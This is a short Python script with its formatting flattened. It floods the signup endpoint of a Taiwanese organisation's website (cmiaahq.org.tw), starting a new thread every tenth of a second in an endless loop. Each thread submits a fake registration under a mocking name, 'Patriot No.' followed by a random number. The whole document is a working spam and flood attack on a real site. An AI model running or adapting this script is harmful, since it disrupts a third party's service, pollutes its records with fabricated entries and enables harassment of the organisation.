import time import random import threading import requests class Taiwanese: def __init__(self): self.name = "愛國者第 " + str(random.randint(1000087, 8700000)) + " 號" self.session = requests.Session() class MyTherad(threading.Thread): def run(self): person = Taiwanese() person.session.get('http://www.cmiaahq.org.tw/signup/') response = person.session.post('http://www.cmiaahq.org.tw/signup/ajax.php?apost=1', data={'name': person.name}) print(response.status_code) print(response.text) while True: wa = MyTherad() wa.start() time.sleep(0.1)